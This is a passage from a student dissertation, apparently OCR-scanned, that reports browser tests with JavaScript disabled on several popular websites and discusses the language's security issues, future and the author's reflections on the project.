the requirements of your project, but when you continue reading, you discover that it is
only a ‘preview’ and you must pay expensive amounts to have access to the full texts. Whilst
there is a vast expanse of literature available in the universities library, free of charge, cost-
effectiveness continues to cause problems when conducting research into specific areas.
The importance or usefulness of the research will need to be evaluated to decide whether
the extra expenditure is worth it or not.

Finally, there is the issue of finding information that is relevant. Much too often, researchers
will stray from their set targets and objectives by using research that is irrelevant to the
guestion they are answering. Therefore, it is important that a research stays on track on
only makes use of literature that is specifically relative to their topic area.

Limitations are faced by any researcher undertaking a project, but it is not the problems at
hand that is important, it is how they are dealt with. To overcome these matters, it is
important to ensure that academic tools are utilised when searching for literature in relation
to your research. For example, UWIC has a search engine called MetSearch, which not only
searches for academic literature contained within the university library, but also any other
literature that they have access to outside of the university, most of which can be accessed
online for free. It has also been of great help utilising tools such as Google Scholar and the
SCOPUS database, as all have options that allow you to filter the search results to meet your
requirements, e.g. year of publication, type of literature and even the authors of the
literature.
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As for searching for articles online using a traditional search engine, it is quickly apparent
that there is a vast array of articles and blog posts in relation to the search query. Whilst it is
easy to click on the first available link, read and absorb the included information, it is
important to check if the article has referred to any existing literature that could be
considered reliable. The likelihood is, if no references have been made then the literature
could be heavily biased or opinionated.

4 - Discussion and Testing

4.1 - Brief overview of discussion topics

In this section of the dissertation, a discussion of the literature review and previous research
will be conducted, with an in-depth analysis of the previous workings and the results that
have been yielded as a result. As mentioned in the literature review, tests will be
undertaken to establish, from the researcher’s perspective, the effects of disabling
JavaScript in the browser and the first-hand implications of this. It will then go on to discuss
why disabling JavaScript in the browser is a good or bad idea, whilst also drawing a
conclusion on whether it should be switched off whilst browsing the web. Additionally, this
section will be seeking to reveal the true impact that JavaScript has had on the modern web
browser and how it has changed the way in which both developers create applications and
how the consumers interact with the internet.

Finally, it will look to discuss and predict the future of the JavaScript language as a standard
across all web browsers. Topics will include the relevance of the language currently and how
this could change within a 10-year period, whilst also looking at potential competition for
the JavaScript language, from languages such as Python and Ruby.

4.2 - Testing — Disabling JavaScript in the browser

4.2.1 - Brief overview of testing

For this section of the report, tests are going to be carried out to analyse the effects of
disabling JavaScript in the web browser. The purpose of these tests is to gain further insight
into the importance of JavaScript when browsing the internet and how the web would look
without it.

To gauge the effects in greater detail, the use of shortlist of popular web pages and
applications will be visited, both with JavaScript enabled and disabled respectively.
Screenshots of the loaded web pages will be taken and presented in the report, each with a
brief description of the scenario surrounding the screenshot, the expected results and the
actual results. Page loading times will also be noted, which will then be presented in a table
format for comparison. In addition, certain features of each website or web application will
be tested to see how they perform, or if they perform, with JavaScript disabled.

The browser that will be used for testing is the Google Chrome browser. The reason that
this browser has been chosen to carry out these tests is because it is one of the fastest web
browsers available, which will aid in providing the most accurate page loading times. In
addition, most modern websites and applications are designed to work in Chrome, Firefox
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and Safari as a preferred standard, with browsers like Opera and the new Microsoft Edge
(essentially Internet Explorer with a new name and a haircut) are secondary.

So that the most accurate result can be yielded from these tests, it has been decided that a
mixture of web applications and web pages will be tested, with at least one web application
being dependent on JavaScript. The list of chosen web pages and applications is as follows:

+» Stuff.tv — a popular tech and gadget magazine, which is available in both print and

online formats

Google Docs — a web application for editing and storing documents on the web

Facebook — the world’s largest social media platform, with over 1.87 billion users

worldwide (Smart Insights, 2017)

»  Mozilla — the closest thing to JavaScript’s own webpage, providing JavaScript
information and docs

The reason that these sites have been chosen is because they are web locations that the
researcher does not visit regularly, if at all, therefore removing any bias or unjust
descriptions of their performance under testing conditions. Furthermore, these are sites
that are very popular with the general population of web users, which is especially true with
the likes of Google Docs and Facebook.

4.2.2 - Results of testing

Tables — loading times

Stuff.tv Google Docs Facebook Mozilla
Loading time = 331 = 1.68 = 0.55 = 174
(seconds) = 387 = 171 = 0.56 = 1.63
= 3.15 = 172 = 071 = 1.68

Figure 10: Table showing loading times for all four web locations with JavaScript enabled in the browser

Stuff.tv Google Docs Facebook Mozilla
Loading time = 1.57 = 0.76 = 0.96 = 1.69
(seconds) = 0.56 = - = 0.51 = 1.40
= 044 = - = 0.50 = 1.49

Figure 11: Table showing loading times for all four web locations with JavaScript disabled in the browser

Screenshots
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Figure 13: Screenshot showing fully loaded webpage (http://stuff.tv) with JavaScript disabled in the browser (Stuff.tv, 2017)
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Figure 14: Screenshot showing fully loaded webpage (http://docs.google.com) with JavaScript enabled in the browser
(Google, 2017)

JavaScript isrit enabled in your browser, 5o this file carit be opened. Enable and reload.

Figure 15: Screenshot showing fully loaded webpage (http://docs.google.com) with JavaScript disabled in the browser
(Google, 2017)

4.3 - Discussion

4.3.1 - The Future of JavaScript

As proven in testing and discussion of research findings and literature, it is not hard for one
to see that JavaScript is a huge part of the way in which we browse the web. The tests that
were carried out in the browser, showing a selection of websites both with JavaScript
enabled and disabled respectively, have proven that a web without JavaScript can be very
dysfunctional. So much so in fact, that certain web applications (in this case, Google Docs),
do not work at all without JavaScript being enabled in the browser. This is because
JavaScript serves as the foundation of millions of websites and applications across the
internet.
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Whilst we know that disabling JavaScript in the browser does carry certain benefits, such as
increased security and less advertisements, it doesn’t appear to be worth disabling
completely yet. In figure 5, we can see the popular tech bog Stuff.tv, fully loaded in the web
browser with JavaScript enabled. Everything looks as it should, images have loaded
advertisements have loaded. However, in figure 6, we see the exact same webpage,
although this time JavaScript has been disabled in the browser. There are many key
elements to consider here:

¢ No images have loaded on the webpage
¢ Slideshow, present in figure 5, is no longer present
¢+ Advertisement, also present in figure 5, is no longer present

The removal of JavaScript has, in this instance, removed an advertisement from the
webpage, further supporting the theory of using the deletion of JavaScript as an ad-blocking
tool. Additionally, disabling JavaScript has dramatically lowered the functionality of the web
page in general. The main slideshow, which contains the most recent and most popular
articles, has not been rendered. This in turn influences the browsing experience, as the user
is not able to see the same content as one that is browsing with JavaScript enabled. No
thumbnail images have loaded for the individual articles, again hindering the experience.
Further evidence of this can be seen in figures 9 and 10 (appendix), where it is apparent that
no images at all are being rendered with JavaScript disabled.

In some more extreme circumstances, the testing continues to evaluate the performance of
Google Docs, a popular online document editing application. As expected, the application
performs normally with JavaScript enabled, with no drawbacks or errors (Figure 14). When
JavaScript is disabled in the browser, the application does not load at all and presents the
user with an error message, stating:

“JavaScript isn’t enabled in your browser, so this file can’t be opened.
Enable and reload.” (Figure 15)

As the Google Docs web application is based heavily on JavaScript to support the user
interface, Google simply does not have an alternative. JavaScript is absolutely essential for
this particular web application to work, again supporting the theory that JavaScript’s
position as a web development tool is not in jeopardy. The language does have competition
— as covered in literature review section, however it seems that JavaScript being replaced as
a standard for all web browsers is simply not going to happen at this stage in its life. Too
many developers, along with the webpages and applications that they are producing, rely
dominantly on JavaScript as the structural foundation of their work. Without it, things don’t
work correctly, or in some cases just don’t work at all.

Statistics would also argue that the future of the JavaScript language within web
development is secured for the foreseeable future. Reflecting on the literature review, the
amount of people that are utilising the JavaScript language, both past and present, is
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investigated. Stackoverflow, a question and answer forum for software engineers from
many different industries, is an excellent way to gage the number of developers that are
actively engaging with a programming language. This is made possible by being able to view
the number of ‘tags’ that are being attached to posts on the forum, allowing us to gain some
insight into the most popular and most topical languages at present. This information is
then archived by websites like tagtrends.com, which uses a line graph to show the increase
and/or decrease of the use of any one tag.

From the results in the archive on tagtrends.com, we can see that in 2012, the percentage
of JavaScript tags attached to posts on Stackoverflow was at 4.9% of the total. In January
2017, the percentage has risen dramatically to 11% of the total tags. However, whilst the
numbers are still promising, the usage of the tag was at its highest in July 2015, as shown in
figure (figure), therefore showing a slight decline in the number of users discussing the
topic.

Finally, one of the main aspects to consider when discussing the impact and future
relevance of the JavaScript language are its many security issues, most of which are easily
exploitable. As covered in the lit review, we can see the varying types of exploits that can be
used against web applications that utilise JavaScript, such as Cross-Site Scripting and Cross-
Site Request Forgery. These should present themselves as important and challenging issues
for web developers, who should strive to ensure any JavaScript functionality in their
applications is appropriately validated and thus, secure.

To support the future development and improvement of the JavaScript language,
developers will need to successfully take hold of any opportunity to secure their scripting.
This can be done by using input validation in their applications to protect from XSS attacks,
or blocking the use of GET requests, allowing only POST requests. Developers should also
seek to use escape characters when writing their code, as this can help to scramble
malicious scrips that are input into the application.

4.3.2 - Predictions

If one were even attempt to answer the question of JavaScript’s future on the World Wide
Web, the answer would have to be that there seems to be no sign of it departing from the
web browser anytime soon. Based upon the information that has been unearthed through
the research within this dissertation, along with the testing of web locations with JavaScript
disabled, it is hard to see how the JavaScript language is set to be replaced anytime soon.

As quoted by Douglas Crockford, as shown in the literature review, a programming language
is just like cat. It is easier to get a new one than to try and fix the old one. In the software
engineering industry, with new languages, frameworks and libraries sprouting up constantly,
this is a very accurate statement. For a developer to stay relevant within the software
industry, they should always strive to keep up-to-date with the latest advancements in their
language of choice, as well as being open to change in the sense of learning new languages
and frameworks when required. That being said, it is important to note how much of a
drastic effect has been measured from simply disabling JavaScript in the web browser. If
change is imminent, and there is another standardised, widely adopted scripting language
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lurking in the shadows, the amount of effort required by the developers of not just web
browsers, but of the websites and applications that millions of people frequent on a daily
basis would be ginormous. It would mean they would have to essentially redesign their
projects from the ground up, to accommodate new standards and work with new
languages.

Another important subject to discuss in more detail here is security of websites and
applications that have been developed using JavaScript, as covered in section 2.2 of the
literature review. It was discovered whilst conducting research into the security features
and potential risks of the JavaScript language that it is easy for malicious hackers and cyber
criminals to inject harmful excerpts of code into web applications.

5 - Conclusion

5.1 - Summary

This dissertation research project has sought to discover the origins of the JavaScript
language and its impact on the web development industry. The main aims and objectives of
this project were to discover how and why JavaScript was initially developed, how it has
progressed and changed overtime and the full impact of the language on the World Wide
Web as we know it today. Additionally, the security issues associated with the JavaScript
language also needed to be considered, and the findings that show the outlook for the
history of the JavaScript language as the most popular client-side scripting language.

In the conclusion section of the dissertation, the final drawings on the information gathered
during the research stages will be discussed, as well as the proposed importance of the
research project within the web development industry. In addition, recommendations for
future research into this subject area will be given, along with final notes, discussing the
personal experience of the researcher.

5.2 - Conclusions

Looking back at all the research findings discovered as a direct result of this dissertation,
coupled with the results from browsing the web with JavaScript disabled, there are several
key objectives that have been realised.

Firstly, is the issues surrounding the security of the JavaScript language when utilised in web
applications. As hackers possess the ability to ‘inject’ vulnerable web applications with
malicious excerpts of code, therefore changing the way the application behaves, JavaScript
remains a risky language to include in your source code. Attacks can be prevented if
following the appropriate cleaning and validation procedures, however some sites will
always be vulnerable. These issues will need to be addressed by the JavaScript development
community, as threats such as this seem to be turning people away from using and wanting
to learn the JavaScript language. This is evident as there has been an increase in the number
of web users that are browsing with JavaScript disabled. Concurrently, within the
community of users on Stackoverlow, the most desired language to learn is currently
Python, which serves as large competition for the JavaScript language.
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It is also fair to conclude that the research has confirmed the future of the JavaScript
language in the not-so-distant future. Clearly, JavaScript has etched itself onto our web
browsing experience. The web would not look the same without JavaScript, both
metaphorically and literally, as proven in the testing phase. The notion that JavaScript use in
the browser should be discontinued has evidently been proven unscrupulous, as over 97%
of all web users are actively browsing with JavaScript enabled. It is difficult to call the
decision to not maximise a web application for use without JavaScript as unjust, simply
because the percentage of users browsing without JavaScript is minimal and has been
declining for many years. The numbers set to decrease even further in the future, as the
popularisation of frameworks such as React continues to rage.

To conclude on what the research has proven it is clear to see that the JavaScript language is
not going to be replaced as of yet. JavaScript is structurally integral to the ‘persona’ of the
modern internet, and the browsing experience without it is unpleasant at best, acting
almost as a step back in time. JavaScript is, and will continue to be for the foreseeable
future, the language of the web.

5.3 - Importance of this research

This research could be considered to the development of the JavaScript language for many
reasons. Firstly, the questioning of the security flaws within the JavaScript language should
serve as a stark reminder to the development community. These are current and pressing
issues in terms of security for the language, as some standardised safety measures must be
deployed in order to obtain language-wide protection for all developers. Whilst there are
current methods that allow for some protection against the insertion of malicious code, it
feels as though there should be some ingrained feature in JavaScript, allow for the
prevention of malevolent attacks on source code.

Subsequently, this research project will make good reading for anyone within the industry
that is interested to learn about the short comings of the language, as well as an analysis of
its impact on web development and predictions regarding its future.

5.4 - Recommendations

There is a vast array of area that still require research, which have been discovered because
of this research. As a suggestion, there should be more research conducted into the security
of JavaScript and the potential implications of the security flaws present in the current
releases. The importance of this cannot be stressed enough, as it is in the best interest of
both the developer and the end user to keep browser activity secure, both for privacy and
personal security reasons.

In addition, it is apparent that there is minimal data and research available regarding the
impact of the JavaScript language on the web development industry. For the most part,
most of the literature review at section (section) is purely assumptive, using information
from various topic areas to form some form of understanding of JavaScript’s impact.
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5.5 - Reflection

This dissertation has been a very challenging project and has served to push the boundaries
of academic ability. Not only has it been tedious and time consuming by nature, pushing
both mentally and physically, but it has also tested research, analytical and writing skills. It
has been thoroughly interesting to learn and discover aspects of the JavaScript language not
previously known, as it is a language that is of personal interest and one that is used on a
regular basis.

It has been an enlightening experience, providing a sense of confidence about the work that
has been carried out, both past and present. It has proven that working under a time limit
against set targets is possible. This is an invaluable skill for a graduate student looking to
enter into full time employment, as it will help with focussing and managing time effectively
within a new job role.

If anything were to be done differently within the scope of this dissertation, it would have to
be to spend more time researching the JavaScript language and learning about it prior to
starting the project. Having a deeper understanding of JavaScript before carrying out
research would have helped in the understanding of various articles and code excerpts.
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